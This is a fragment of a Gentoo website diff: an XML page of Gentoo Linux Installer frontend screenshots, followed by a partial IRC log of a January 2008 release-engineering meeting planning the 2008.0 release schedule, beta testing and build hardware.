+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/installer/screenshots/index.xml,v 1.6 2006/02/20 19:38:10 codeman Exp $ -->
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/releng/installer/screenshots/index.xml">
+<title>Gentoo Linux Installer Frontend Screenshots</title>
+
+<author title="Author">
+  <mail link="agaffney@gentoo.org">Andrew Gaffney</mail>
+</author>
+<author title="Author">
+  <mail link="codeman@gentoo.org">Preston Cody</mail>
+</author>
+<author title="Editor">
+  <mail link="blackace@gentoo.org">Blackace</mail>
+</author>
+
+<abstract>
+This page presents screenshots from some of the frontends for
+the Gentoo Linux Installer.
+</abstract>
+
+<license/>
+
+<version>1.3</version>
+<date>2006-20-02</date>
+
+<chapter>
+<title>gtkfe</title>
+<section>
+<title>Welcome</title>
+<body>
+
+<fig
+  linkto="/proj/en/releng/installer/screenshots/gtk_welcome.png"
+  link="/proj/en/releng/installer/screenshots/gtk_welcome.thumb.png"
+/>
+
+</body>
+</section>
+<section>
+<title>Client Config</title>
+<body>
+
+<fig
+  linkto="/proj/en/releng/installer/screenshots/gtk_clientconfig_network.png"
+  link="/proj/en/releng/installer/screenshots/gtk_clientconfig_network.thumb.png"
+/>
+<p>&nbsp;</p>
+<fig
+  linkto="/proj/en/releng/installer/screenshots/gtk_clientconfig_misc.png"
+  link="/proj/en/releng/installer/screenshots/gtk_clientconfig_misc.thumb.png"
+/>
+
+</body>
+</section>
+<section>
+<title>Partitioning</title>
+<body>
+
+<fig
+  linkto="/proj/en/releng/installer/screenshots/gtk_partition.png"
+  link="/proj/en/releng/installer/screenshots/gtk_partition.thumb.png"
+/>
+
+</body>
+</section>
+<section>
+<title>Partition Properties</title>
+<body>
+
+<fig
+  linkto="/proj/en/releng/installer/screenshots/gtk_partprop.png"
+  link="/proj/en/releng/installer/screenshots/gtk_partprop.thumb.png"
+/>
+
+</body>
+</section>
+<section>
+<title>Network Mounts</title>
+<body>
+
+<fig
+  linkto="/proj/en/releng/installer/screenshots/gtk_netmounts.png"
+  link="/proj/en/releng/installer/screenshots/gtk_netmounts.thumb.png"
+/>
+
+</body>
+</section>
+<section>
+<title>Stage Selection</title>
+<body>
+
+<fig
+  linkto="/proj/en/releng/installer/screenshots/gtk_stage.png"
+  link="/proj/en/releng/installer/screenshots/gtk_stage.thumb.png"
+/>
+
+</body>
+</section>
+<section>
+<title>Portage Tree</title>
+<body>
+
+<fig
+  linkto="/proj/en/releng/installer/screenshots/gtk_portagetree.png"
+  link="/proj/en/releng/installer/screenshots/gtk_portagetree.thumb.png"
+/>
+
+</body>
+</section>
+<section>
+<title>make.conf</title>
+<body>
+
+<fig
+  linkto="/proj/en/releng/installer/screenshots/gtk_makedotconf.png"
+  link="/proj/en/releng/installer/screenshots/gtk_makedotconf.thumb.png"
+/>
+
+</body>
+</section>
+<section>
+<title>Kernel Sources</title>
+<body>
+
+<fig
+  linkto="/proj/en/releng/installer/screenshots/gtk_kernel.png"
+  link="/proj/en/releng/installer/screenshots/gtk_kernel.thumb.png"
+/>
+
+</body>
+</section>
+<section>
+<title>Bootloader</title>
+<body>
+
+<fig
+  linkto="/proj/en/releng/installer/screenshots/gtk_bootloader.png"
+  link="/proj/en/releng/installer/screenshots/gtk_bootloader.thumb.png"
+/>
+
+</body>
+</section>
+<section>
+<title>Timezone</title>
+<body>
+
+<fig
+  linkto="/proj/en/releng/installer/screenshots/gtk_timezone.png"
+  link="/proj/en/releng/installer/screenshots/gtk_timezone.thumb.png"
+/>
+
+</body>
+</section>
+<section>
+<title>Networking</title>
+<body>
+
+<fig
+  linkto="/proj/en/releng/installer/screenshots/gtk_network.png"
+  link="/proj/en/releng/installer/screenshots/gtk_network.thumb.png"
+/>
+
+</body>
+</section>
+<section>
+<title>Daemons</title>
+<body>
+
+<fig
+  linkto="/proj/en/releng/installer/screenshots/gtk_daemons.png"
+  link="/proj/en/releng/installer/screenshots/gtk_daemons.thumb.png"
+/>
+
+</body>
+</section>
+<section>
+<title>Extra Packages</title>
+<body>
+
+<fig
+  linkto="/proj/en/releng/installer/screenshots/gtk_extrapackages.png"
+  link="/proj/en/releng/installer/screenshots/gtk_extrapackages.thumb.png"
+/>
+
+</body>
+</section>
+<section>
+<title>Startup Services</title>
+<body>
+
+<fig
+  linkto="/proj/en/releng/installer/screenshots/gtk_startupservices.png"
+  link="/proj/en/releng/installer/screenshots/gtk_startupservices.thumb.png"
+/>
+
+</body>
+</section>
+<section>
+<title>Other Settings</title>
+<body>
+
+<fig
+  linkto="/proj/en/releng/installer/screenshots/gtk_othersettings.png"
+  link="/proj/en/releng/installer/screenshots/gtk_othersettings.thumb.png"
+/>
+
+</body>
+</section>
+<section>
+<title>Users</title>
+<body>
+
+<fig
+  linkto="/proj/en/releng/installer/screenshots/gtk_users.png"
+  link="/proj/en/releng/installer/screenshots/gtk_users.thumb.png"
+/>
+
+</body>
+</section>
+<section>
+<title>Review</title>
+<body>
+
+<fig
+  linkto="/proj/en/releng/installer/screenshots/gtk_review.png"
+  link="/proj/en/releng/installer/screenshots/gtk_review.thumb.png"
+/>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>gli-dialog</title>
+<section>
+<body>
+	<p>For screenshots from gli-dialog <uri link="http://claneb.net/members/codeman/glid_pics/index.html">click here</uri>.</p>
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/meetings/20080123_initial_2008.0.txt b/xml/htdocs/proj/en/releng/meetings/20080123_initial_2008.0.txt
new file mode 100644
index 00000000..4bfe14c0
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/meetings/20080123_initial_2008.0.txt
@@ -0,0 +1,834 @@
+Jan 23 12:11:07 <wolf31o2|work>	ok... I guess we've waited long enough... let's get this started... first off, for all of you developers in here that aren't releng... please try to refrain from comments until the end... if you've got a question or feel like you definitely need to say something, do so, but try to hold off, since this meeting will likely be long enough as it is...
+Jan 23 12:11:33 <wolf31o2|work>	so... let's get this rolling
+Jan 23 12:11:51 <wolf31o2|work>	the first topic is 2008.0's release...
+Jan 23 12:13:12 <wolf31o2|work>	I was thinking of doing the initial snapshot on Feb 1... that would give us an approximate release around mid-March...
+Jan 23 12:13:30 <wolf31o2|work>	does that work for everyone?
+Jan 23 12:13:36 <nightmorph>	your docs liaison sez: works for me. when you need the HB tarballs? :)
+Jan 23 12:14:21 <rangerpb>	wolf31o2|work, works for me
+Jan 23 12:14:27 <wolf31o2|work>	nightmorph: by Feb 29, I'd say
+Jan 23 12:14:29 <phreak``>	wolf31o2|work: well, I hoped to have gcc-4 finally, but I think I can bury that thought along with some other things. but either way, its fine by me.
+Jan 23 12:14:52 <dertobi123>	i'm away on most weekends starting in mid-february until mid-march ... plus several events (fosdem, chemnitz, open-expo bern) are taking place ... not sure if that timeframe will work for me
+Jan 23 12:15:00 <nightmorph>	wolf31o2|work: sooo much time. i'm already letting the rest of the GDP do the docs work as it is :)
+Jan 23 12:15:14 <nightmorph>	reso worksforme
+Jan 23 12:15:40 <dberkholz>	sorry to interrupt, but is anyone else keeping a meeting summary?
+Jan 23 12:15:51 <phreak``>	dberkholz: well, I'm keeping the log :)
+Jan 23 12:16:02 <drac>	wolf31o2|work: xfce has only one bug that shouldn't go into release, i'm backporting the fix from upstream _now_ so it can be marked stable now (or in few days)
+Jan 23 12:16:04 <agaffney>	summary can be created from the log post-meeting :P
+Jan 23 12:16:05 <wolf31o2|work>	dertobi123: hrrrmn... OK... we're talking about 6 weeks of time... do you think it will be a problem, or... ?
+Jan 23 12:16:16 <wolf31o2|work>	drac: thanks
+Jan 23 12:16:52 <nightmorph>	drac: xfce is bug free! whatchu talkin' 'bout, willis
+Jan 23 12:17:02 <dertobi123>	wolf31o2|work: depends on how many unforseen problems we encounter ... if things go the easy i see no big problem ... if things won't ...
+Jan 23 12:17:14 <dertobi123>	the easy way*
+Jan 23 12:17:53 <dertobi123>	given the fact that every little stage-rebuild takes around 24h for each hppa1.1 and hppa2.0
+Jan 23 12:18:11 <wolf31o2|work>	dertobi123: understandable... seems to be the status quo for releases, anyway... what machine are you using?
+Jan 23 12:18:33 <Blackb|rd>	wolf31o2|work: The nightmare month will be over for me, so I should have some time to spare to build alpha releases. We still have a nasty showstopper bug with 2.6.23.* and 2.6.24*, but we'll figure it out, I guess.
+Jan 23 12:18:46 <dertobi123>	wolf31o2|work: depends ... mostly hake (dev box at osl) plus my c3700 at home which is somewhat faster ...
+Jan 23 12:19:31 <wolf31o2|work>	one thing I would like to try to do this release is to have us build on developer machines, rather than our personal machines... this way someone else can help out easily if there's a problem with time/etc... so if we don't have access to sufficient hardware (as a dev box) I'd like to know...
+Jan 23 12:19:41 <Blackb|rd>	dertobi123: there *might* be free hardware availble soon thorugh one of my coworkers, I'll get back to you on that once something materializes.
+Jan 23 12:19:51 <wolf31o2|work>	dertobi123: would access to a J5600 help? I have one sitting at home
+Jan 23 12:20:21 <agaffney>	I think hppa SMP support is actually "working" these days
+Jan 23 12:20:36 <dertobi123>	wolf31o2|work: not sure ... smp isn't that stable (if stable at all) ... might be worth a try
+Jan 23 12:20:40 <wolf31o2|work>	Blackb|rd: there's an alpha machine available as a dev box to the alpha team, right?
+Jan 23 12:20:54 <dertobi123>	another option might be to get hosting for my c3700 somewhere nearby
+Jan 23 12:21:04 <wolf31o2|work>	dertobi123: OK... I'll pull the machine out and try to get it loaded up for you in the next few days...
+Jan 23 12:21:16 <Blackb|rd>	wolf31o2|work: Yes
+Jan 23 12:21:18 <wolf31o2|work>	I can host my box with my company, if you need it... so that's an option
+Jan 23 12:21:21 <wolf31o2|work>	Blackb|rd: k...
+Jan 23 12:21:28 <dertobi123>	wolf31o2|work: :)
+Jan 23 12:21:29 <Blackb|rd>	wolf31o2|work: the ES40 we spoke of.
+Jan 23 12:21:34 <wolf31o2|work>	right
+Jan 23 12:21:35 <phreak``>	wolf31o2|work: something differently. whats gonna be part of 2008.0 ? are we talking about the new profile layout there, or "just" a fresh snapshot w/ security fixes and the usual things ?
+Jan 23 12:22:02 *	nightmorph wasn't aware 2008 profiles even existed yet
+Jan 23 12:22:10 <phreak``>	nightmorph: they don't :)
+Jan 23 12:22:40 <wolf31o2|work>	phreak``: was going to get to that in just a second... I am not sure that we'll have time to do the profile switching... but I'm going to try to come up with it... the plan will be to create "normal" 2008.0 profiles, and I'll work on making them multi-parent and such... there's even already a multi-parent SVN repo out there... I just haven't thrown anything in it, yet
+Jan 23 12:22:54 <agaffney>	can we ban that guy (Hz_SNaKE and BillGates)?
+Jan 23 12:23:14 <wolf31o2|work>	agaffney: why? he's not doing anything... it's +m
+Jan 23 12:23:16 <phreak``>	wolf31o2|work: sorry for being jumpy then :)
+Jan 23 12:23:24 <wolf31o2|work>	phreak``: np...
+Jan 23 12:23:27 *	agaffney shrugs
+Jan 23 12:23:42 <nightmorph>	there's always ignore joins parts quits...
+Jan 23 12:23:43 <wolf31o2|work>	armin76: you've got dolphin and another box, right? (ia64)
+Jan 23 12:24:28 <phreak``>	just dolphin iirc
+Jan 23 12:24:40 <wolf31o2|work>	rangerpb: you have timberdoodle and another box, too, right? plus luna, for G4...
+Jan 23 12:24:44 <wolf31o2|work>	phreak``: k...
+Jan 23 12:24:52 <phreak``>	wolf31o2|work: its rooster now ;)
+Jan 23 12:24:58 <phreak``>	wolf31o2|work: timberdoodle is history :S
+Jan 23 12:25:13 <wolf31o2|work>	heh... OK
+Jan 23 12:25:35 <nightmorph>	wolf31o2|work: mind if i fix a typo on the releng project page?
+Jan 23 12:25:48 <wolf31o2|work>	armin76: also, you've got bender for sparc, right?
+Jan 23 12:25:52 <nightmorph>	phreak``'s role: "Hardended Liason"
+Jan 23 12:25:54 *	phreak`` kicks over the rocks armin76 and rangerpb are hiding beneath.
+Jan 23 12:26:03 <wolf31o2|work>	nightmorph: ehh, I'm going to update it after the meeting, anyway...
+Jan 23 12:26:15 <nightmorph>	okay. s/liason/liaison for all instances too :)
+Jan 23 12:26:18 <phreak``>	wolf31o2|work: he has. (armin that is)
+Jan 23 12:27:03 <wolf31o2|work>	k
+Jan 23 12:27:03 <phreak``>	nightmorph: fix me instead ... :P
+Jan 23 12:27:19 <armin76>	woot?
+Jan 23 12:27:20 <armin76>	yeah
+Jan 23 12:27:39 <wolf31o2|work>	k... I'll get w/ the spankster later on his boxes... we can continue
+Jan 23 12:27:42 <armin76>	wolf31o2|work: yes, dolphin and beluga (ia64) and bender for sparc
+Jan 23 12:27:56 <wolf31o2|work>	so... 2008.0... what do you guys want to do with it... is there anything special you'd like to see us do?
+Jan 23 12:27:57 <phreak``>	jaervosz: still here ?
+Jan 23 12:28:13 <Blackb|rd>	wolf31o2|work: let's finally get rid of 2.4 ;)
+Jan 23 12:28:18 <phreak``>	wolf31o2|work: gcc4 for me :P
+Jan 23 12:28:24 <phreak``>	Blackb|rd: that too.
+Jan 23 12:28:35 <phreak``>	Blackb|rd: which means, I do have to restructure profiles :|
+Jan 23 12:28:36 <nightmorph>	yay, no 2.4! makes it easier to maintain the docs
+Jan 23 12:28:38 <jaervosz>	phreak``: yeah
+Jan 23 12:28:42 <dertobi123>	phreak``: gcc4 for hardened? :)
+Jan 23 12:28:44 <nightmorph>	also, gentoo-sources on all arches where possible
+Jan 23 12:28:51 *	jaervosz reads backlog
+Jan 23 12:28:55 <wolf31o2|work>	I was planning on making a new sub-profile type (if we do multi-parent)... "developer" which would inherit both desktop and profile and set all the pretty "developer" FEATURES by default...
+Jan 23 12:29:01 <agaffney>	nightmorph: which arches aren't on gentoo-sources?
+Jan 23 12:29:09 <Blackb|rd>	Is any arch still depending heavily on 2.4?
+Jan 23 12:29:18 <agaffney>	heavily? probably not
+Jan 23 12:29:19 <welp>	wolf31o2|work: developer profile sounds awesome to me
+Jan 23 12:29:23 <agaffney>	but a few machines here and there
+Jan 23 12:29:26 <armin76>	agaffney: mips
+Jan 23 12:29:41 <dertobi123>	Blackb|rd: sparc32 ... which isn't maintained for years :P
+Jan 23 12:29:43 <phreak``>	Blackb|rd: none at all, besides mips and maybe some sparc's
+Jan 23 12:29:47 <Blackb|rd>	wolf31o2|work: devel profile++
+Jan 23 12:29:55 <phreak``>	wolf31o2|work: sounds like a plan :D
+Jan 23 12:29:56 <wolf31o2|work>	Blackb|rd: not anymore... I think alpha/sparc are the few that still have some machines that don't work as well under 2.6 as 2.4, but that number is dwindling
+Jan 23 12:30:01 <nightmorph>	agaffney: mips, hppa, and alpha either have a non-gentoo-sources kernel, or else support one equally with gentoo-sources
+Jan 23 12:30:10 <agaffney>	nightmorph: hppa is now on gentoo-sources
+Jan 23 12:30:12 <armin76>	nightmorph: alpha doesn't
+Jan 23 12:30:13 <nightmorph>	sparc at least has said sparc-sources is deprecated, though still available. not recommended though
+Jan 23 12:30:16 <nightmorph>	oh?
+Jan 23 12:30:19 <nightmorph>	cool!
+Jan 23 12:30:24 <nightmorph>	that's new. /me notes that in the handbook changes
+Jan 23 12:30:25 <agaffney>	nightmorph: that's recent
+Jan 23 12:30:37 <Blackb|rd>	wolf31o2|work: We've retired 2.4 completely recently and haven't and any complaints (but von report froma very happy user who's now using 2.6)
+Jan 23 12:30:49 <armin76>	arm,mips,m68k,s390,sh are the ones that don't have gentoo-sources keyworded
+Jan 23 12:30:56 <dertobi123>	agaffney: as long as no pa-patches are releases ... i recall a thread on the parisc list that pa-patches shall be revived (but that was some months ago)
+Jan 23 12:30:59 <agaffney>	nightmorph: yeah, sparc is gentoo-sources, but sparc-sources is still there for people wanting 2.4 (like the crazy people still running sparc32 boxes)
+Jan 23 12:31:02 <dertobi123>	released*
+Jan 23 12:31:10 <armin76>	s390 and arm have 2.6.20 only
+Jan 23 12:31:11 <nightmorph>	agaffney: fortunately, sparc32 is not supported ;)
+Jan 23 12:31:17 <agaffney>	nightmorph: indeed :P
+Jan 23 12:32:21 <wolf31o2|work>	OK... so I'd also like to change a couple ways we do things... for one, as soon as we finish up a release, I'd like to go ahead and create the new release stuff in the repos... so the releng repo, we'd create the specs... in the tree, we create a new dev profile... I'd *like* to do the same w/ the Handbook, but that's up to the docs guys... the idea is that by doing this, we can update the profiles and such immediately, and it's
+Jan 23 12:32:21 <wolf31o2|work>	 also useful for the next topic (automated builds), so I'll hold off until then... 
+Jan 23 12:32:53 <nightmorph>	hmm, a profile for the handbook? whatcha mean?
+Jan 23 12:33:27 <wolf31o2|work>	no no... sorry... I mean as soon as we finished up 2008.0, we'd break off the 2008.1 draft... so we can make changes as we go so you don't end up with all the changes at the end
+Jan 23 12:33:52 <wolf31o2|work>	of course, in your case, it likely means having to update multiple handbooks, so if you'd prefer we just bug everything along the way, that's fine, too
+Jan 23 12:33:57 <nightmorph>	well...many of the changes afterward get merged into the current handbook
+Jan 23 12:33:59 <Blackb|rd>	wolf31o2|work: that'd also facilitate early tweaking which makes it easier to try out new stuff.
+Jan 23 12:34:07 <nightmorph>	we also keep a section on errata and changes since release
+Jan 23 12:34:20 <nightmorph>	but i see what you're saying
+Jan 23 12:34:38 <wolf31o2|work>	nightmorph: OK... so you already have a decent process in place... if we don't need to change anything there, we won't...
+Jan 23 12:34:52 <wolf31o2|work>	Blackb|rd: exactly... we can try out really stupid stuff along the way...
+Jan 23 12:34:54 <nightmorph>	wolf31o2|work: *shrug* our process is open to change
+Jan 23 12:34:55 <wolf31o2|work>	hehe
+Jan 23 12:35:11 <agaffney>	we like trying out really stupid stuff
+Jan 23 12:35:20 <nightmorph>	actually, if that rapid rolling release thing we talked about ever gets going, we won't have to worry about creating separate 200*.* dirs. which would be nice.
+Jan 23 12:35:25 <phreak``>	wolf31o2|work: +1 from me on that matter :P
+Jan 23 12:35:33 <wolf31o2|work>	nightmorph: honestly, you tell me if anything needs to change... the only other docs-related change I see is trying to force the handbook updates prior to the last minute (as has been the case for a long time)
+Jan 23 12:35:36 <phreak``>	agaffney: yeah, we do. thats why opensource is sooo great :P
+Jan 23 12:35:55 <wolf31o2|work>	nightmorph: sure, but that would be a ways off, anyway...
+Jan 23 12:36:04 <araujo>	agaffney, hey, we are good at that
+Jan 23 12:36:11 <Blackb|rd>	wolf31o2|work: what do you think about a deadline for stuff that'd change the handbook?
+Jan 23 12:36:25 <nightmorph>	wolf31o2|work: well, assuming we don't have to worry about releases being changed (2007.1 to 2008.0), actually, i like your idea of just creating the new dir immediately
+Jan 23 12:36:49 <phreak``>	nightmorph: well, its a svn repo :P
+Jan 23 12:36:54 <phreak``>	nightmorph: svn mv ftw!
+Jan 23 12:36:55 <agaffney>	the dirs can always be renamed/moved
+Jan 23 12:36:56 <wolf31o2|work>	Blackb|rd: well, there's been one in the past and nobody met it... hehe... this time, we'll set one... and if you don't get your stuff in, it'd be bad
+Jan 23 12:37:13 <agaffney>	yes, you'll get a stern talking-to
+Jan 23 12:37:14 <Blackb|rd>	wolf31o2|work: i.e. "one week before release, nothing may be changed (except security yada yada) that'd affect docs"
+Jan 23 12:37:27 <nightmorph>	renaming dirs sucks. i still haven't come up with a migration plan. potential problem is that even with a separate next release handbook, double-commits would have to be made
+Jan 23 12:37:30 <Blackb|rd>	wolf31o2|work: splendid, I like that :)
+Jan 23 12:37:32 <nightmorph>	in some case
+Jan 23 12:37:39 <nightmorph>	phreak``: hah, the handbooks are in CVS, foo
+Jan 23 12:37:48 <phreak``>	nightmorph: well, ..... :P
+Jan 23 12:37:59 <phreak``>	nightmorph: though luck then :)
+Jan 23 12:38:07 <agaffney>	nightmorph: you can do the handbooks however is easiest for you
+Jan 23 12:38:10 <agaffney>	it's just a suggestion
+Jan 23 12:38:17 <agaffney>	don't let us tell you how to do your job :)
+Jan 23 12:38:25 <nightmorph>	agaffney: easiest for me is tracking what YOU guys are doing!
+Jan 23 12:38:28 <Blackb|rd>	RCS all the way.
+Jan 23 12:38:29 <nightmorph>	and then cursing CVS
+Jan 23 12:39:02 <agaffney>	we just need to move anything that's not gentoo-x86 over to SVN
+Jan 23 12:39:11 <phreak``>	all that reminds me yet again, I *really* need to kick vapier's rock
+Jan 23 12:39:24 <agaffney>	phreak``: careful...he might enjoy that
+Jan 23 12:39:24 <Blackb|rd>	phreak``: stomp his foot, too.
+Jan 23 12:39:29 <wolf31o2|work>	also, I'd like to try to release a 2008.0 beta... which is why we want the handbooks as soon as possible, so we can put them on the beta... the beta would essentially be an entire release... handbook and all... and I want to *force* a QA period after the beta... say, a week
+Jan 23 12:39:35 <phreak``>	agaffney: he actually does. ha.
+Jan 23 12:39:55 <nightmorph>	wolf31o2|work: how official would a beta be? how much in advance of the actual march-ish release?
+Jan 23 12:39:57 <phreak``>	wolf31o2|work: ain't a week a bit short ?
+Jan 23 12:40:04 <Blackb|rd>	wolf31o2|work: experience tells me to make that two weeks. or at least expect them.
+Jan 23 12:40:23 <agaffney>	I tend to agree with phreak`` and Blackb|rd
+Jan 23 12:40:24 <rangerpb>	I think the beta should probably be half the time of the release cycle frankly
+Jan 23 12:40:32 <nightmorph>	if i can just roll up the existing draft handbooks with the draft disclaimer on them (i.e. not make them replace the "live" toplevel dir), then i'm fine with that
+Jan 23 12:40:33 <rangerpb>	that gives them time to test and us time to fix whatever
+Jan 23 12:40:42 <wolf31o2|work>	nightmorph: ehh... it would be after the Feb 29 docs due date...
+Jan 23 12:40:51 <nightmorph>	k
+Jan 23 12:41:04 <Blackb|rd>	rangerpb: that might be too long: things start to linger once you don't have a tight schedule.
+Jan 23 12:41:26 <wolf31o2|work>	that's rather my fear... getting swamped by security bugs at the last minute again
+Jan 23 12:41:28 <phreak``>	rangerpb: uh, thats a bit much frankly :) sure, having the beta 2-4 weeks before release, ain't giving us much time, but doing the beta 3 months before release, puts stuff kinda outa the frame.
+Jan 23 12:41:30 <dertobi123>	two weeks beta time plus another two weeks for another (if needed) beta would make sense imho
+Jan 23 12:41:37 <rangerpb>	uh, it's a six week cycle, half would be 3, which is only 1 more than the suggested two
+Jan 23 12:41:43 <dertobi123>	if things go well with the second beta we could s/beta/release
+Jan 23 12:41:56 <nightmorph>	me and my handbooks wouldn't mind
+Jan 23 12:42:09 <wolf31o2|work>	well, my plan for betas is we release them as needed... so if beta1 is really good, we tweak the few things and release... if we need another beta, we do it and push the release date out
+Jan 23 12:42:31 *	nightmorph is all in favor of the idea
+Jan 23 12:42:31 <wolf31o2|work>	sound reasonable?
+Jan 23 12:42:40 <phreak``>	+1
+Jan 23 12:42:46 <Blackb|rd>	wolf31o2|work: then I think a two week test period would be nice. You can always shorten the span with the consecutive beta(s) and rc(s)
+Jan 23 12:43:01 <Blackb|rd>	wolf31o2|work: so, ++ from me.
+Jan 23 12:43:17 <wolf31o2|work>	one thing I'll want all of you guys to come up with (on gentoo-releng list, please) is a list of things that you would like for us to have checked on the media... I want to come up with a comprehensive checklist... I'll start the threads after the meeting...
+Jan 23 12:43:50 <dertobi123>	wolf31o2|work: so when should the first beta be released? given the initial snapshot is done on february 1st - mid-february gives enough time for building and initial testing, plus enough time for bug-fixing and polishing the media?
+Jan 23 12:43:56 <Blackb|rd>	wolf31o2|work: arch specific stuff too?
+Jan 23 12:44:03 <wolf31o2|work>	Blackb|rd: yes
+Jan 23 12:44:17 <phreak``>	wolf31o2|work: mmmmmhmmm.
+Jan 23 12:44:19 <nightmorph>	i thought sometime after the 29th?
+Jan 23 12:44:25 <Blackb|rd>	wolf31o2|work: then the arch times will need to do some QA themselves, of course. Which is a-ok
+Jan 23 12:44:26 <wolf31o2|work>	dertobi123: one second... I've got a tentative schedule running as we discuss, and I'll propose the whole schedule once we've got our ideas down
+Jan 23 12:44:37 <wolf31o2|work>	nightmorph: ^^^
+Jan 23 12:44:41 <dertobi123>	k
+Jan 23 12:45:17 <wolf31o2|work>	Blackb|rd: they're supposed to be doing that already... hehe... I've mailed the QA team, and (at least Halcy0n) they're willing to help out a bit... so we'll coordinate with them once we have these lists
+Jan 23 12:45:33 <Blackb|rd>	wolf31o2|work: splendid
+Jan 23 12:45:37 *	phreak`` giggles about QA & Halcy0n 
+Jan 23 12:45:52 <wolf31o2|work>	also, we'll want a list of "stuff you want to know" from users about their machines/environments for the beta... things like chipsets/cpu/ram/etc...
+Jan 23 12:46:20 <wolf31o2|work>	basically, a text doc that people can grab along w/ the beta so they'll know what info we definitely want from them when they file bugs
+Jan 23 12:46:26 *	phreak`` goes subscribing to the gentoo-releng ml
+Jan 23 12:46:32 <welp>	didn't we use to have beta testing to some extent in the past?
+Jan 23 12:46:34 <Blackb|rd>	wolf31o2|work: yeah, getting a list of hardware that's *Worthwile* to care about would be nice.
+Jan 23 12:46:49 <agaffney>	welp: we had something like it for 2006.1 (or was it 2006.0?)
+Jan 23 12:46:51 <phreak``>	welp: private, yeah. but no public beta testing.
+Jan 23 12:46:55 <Blackb|rd>	wolf31o2|work: especieally for niche archs.
+Jan 23 12:46:56 <welp>	i seem to remember emailing someone, and then getting a location where i can download stages from
+Jan 23 12:46:57 <wolf31o2|work>	welp: not really... there were 1.4 release candidates, but that was because 1.4 had no schedule and dragged on and on forever
+Jan 23 12:46:57 <dertobi123>	welp: very limited and nothing "official"
+Jan 23 12:47:00 <welp>	phreak``: i don't think it was private
+Jan 23 12:47:40 <wolf31o2|work>	welp: we had a release tester program... and I want to reinstate that, actually... I'm going to try to solicit help from other teams in doing so, so I'm not trying to coordinate it all
+Jan 23 12:47:52 <welp>	wolf31o2|work: that must be what i'm thinking of..
+Jan 23 12:48:33 <wolf31o2|work>	one thing I am definitely doing is trying to make it so that we don't rely so much on me for things to get done... people will be able to update things on their own more... like, we're converting the releng repo to SVN and I'm going to keep the release checklist in there, so everyone can update themselves as they get things done
+Jan 23 12:48:39 <welp>	roger55 was involved in it iirc
+Jan 23 12:48:45 <wolf31o2|work>	welp: yes, he was coordinating it
+Jan 23 12:48:56 <wolf31o2|work>	and it wasn't private
+Jan 23 12:49:02 <welp>	yeah
+Jan 23 12:49:04 <wolf31o2|work>	it just wasn't publicized well
+Jan 23 12:49:12 <phreak``>	wolf31o2|work: same for the snapshot, right (at least you mentioned it in the past) ?
+Jan 23 12:49:22 <wolf31o2|work>	phreak``: I'm going to try to, yes...
+Jan 23 12:49:24 <welp>	that was fun, would be cool if it was better publicized and possibly more arch-oriented?
+Jan 23 12:49:40 <phreak``>	wolf31o2|work: just yell if you need any help, please.
+Jan 23 12:49:41 <agaffney>	it didn't work out all that well. we fixed a few problems, but many people just wanted the media early and didn't report problems, or gave us worthless bug reports
+Jan 23 12:49:46 <wolf31o2|work>	welp: yeah, depends on what we can accomplish in a short time... but we'll have the beta, no matter what
+Jan 23 12:49:52 <wolf31o2|work>	right
+Jan 23 12:49:53 <welp>	wolf31o2|work: cool
+Jan 23 12:50:03 <Blackb|rd>	agaffney: that'll be the main problem: getting good reports.
+Jan 23 12:50:07 <armin76>	welp will do it
+Jan 23 12:50:12 <wolf31o2|work>	not having some kind of form or anything to let people know what we wanted to know was one of the major reasons it didn't work out so well
+Jan 23 12:50:17 <agaffney>	Blackb|rd: which is why wolf31o2|work asked for a list of things that people will want with a bug report
+Jan 23 12:50:18 <wolf31o2|work>	we never got good reports
+Jan 23 12:50:24 <wolf31o2|work>	right
+Jan 23 12:50:32 <Blackb|rd>	agaffney: half the rent, yes.
+Jan 23 12:50:39 <wolf31o2|work>	ok... so I've got a tentative schedule
+Jan 23 12:50:54 <Opfer>	What about a bug wrangler for release bugs?
+Jan 23 12:51:09 <Opfer>	So some are filtered beforehand
+Jan 23 12:51:13 <dertobi123>	Opfer: have one?
+Jan 23 12:51:14 <dertobi123>	*G*
+Jan 23 12:51:22 <agaffney>	we could use jakub!
+Jan 23 12:51:23 *	agaffney runs
+Jan 23 12:51:24 <wolf31o2|work>	Opfer: there really aren't that many of them to warrant it, I don't think... we'll have to see how much our bug reports explode when it comes time for the beta
+Jan 23 12:51:32 <nightmorph>	agaffney: i was just thinking that. but at least i didn't say it ;)
+Jan 23 12:51:35 <Blackb|rd>	agaffney: somehoe I expected that line :))
+Jan 23 12:51:49 <phreak``>	agaffney: oh, save it.
+Jan 23 12:51:50 <welp>	buhwuh?
+Jan 23 12:52:06 <Opfer>	Some good bug reports are better than none...me out.  go on. :)
+Jan 23 12:52:11 <nightmorph>	anyway, show us this proposed timeline. i've got a notepad all ready
+Jan 23 12:52:23 <welp>	nightmorph: windows notepad? :>
+Jan 23 12:52:47 <phreak``>	welp: yeah, exactly that!
+Jan 23 12:52:59 *	Blackb|rd uses EDLIN
+Jan 23 12:53:07 *	agaffney cringes
+Jan 23 12:53:33 <wolf31o2|work>	ok... schedule... Snapshot on Feb 1, Docs Due (Releng)/Snapshot frozen (pre-beta) on Feb 25, Docs Finalized/Due on Feb 29, Beta1 released on Mar 3, Final upload on Mar 14, Release on Mar 17...
+Jan 23 12:54:02 <nightmorph>	that's doable
+Jan 23 12:54:04 <wolf31o2|work>	basically, everything after Beta1 is *very* dependent on the quality of the beta...
+Jan 23 12:54:14 <wolf31o2|work>	so this assumes no major problems
+Jan 23 12:54:22 <dertobi123>	i'd like a beta *before* a snapshot freeze
+Jan 23 12:54:32 <wolf31o2|work>	umm... that's the beta snapshot freeze
+Jan 23 12:54:40 <Blackb|rd>	wolf31o2|work: how do you plan to avoid getting rear-ended by sec bugs?
+Jan 23 12:54:51 <Blackb|rd>	wolf31o2|work: (schedule is fine by me)
+Jan 23 12:55:10 <wolf31o2|work>	Blackb|rd: still working on that one, but coming up with a way for people to update the snapshot themselves will help out a lot
+Jan 23 12:55:22 <angelos>	hah, beta1 release one day before my birthday, good timing
